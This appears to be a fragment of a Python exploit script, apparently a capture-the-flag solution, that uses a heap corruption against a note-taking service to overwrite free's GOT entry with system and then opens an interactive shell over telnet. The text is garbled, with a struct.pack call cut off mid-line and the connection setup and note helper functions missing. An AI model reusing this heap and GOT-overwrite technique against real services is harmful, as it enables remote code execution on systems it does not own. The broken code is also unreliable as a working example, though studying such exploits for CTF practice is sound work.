#!/usr/bin/python import struct import socket import telnetlib def readuntil(f, delim=': '): data = '' while not data.endswith(delim): data += f.read(1) return data def p(v): return struct.pack('bk->fd, which overwrites num_notes. This # lets us index past 256 notes to get arbitrary write. We index into the # chunk we allocated above, which contains a pointer free's got entry. create_note(f, 'Z' * size) # 10 # Replace free with system, and free our note (which starts the command # to run). edit_note(f, 293, p(system)) delete_note(f, 8, shell=True) print 'done' t = telnetlib.Telnet() t.sock = s t.interact()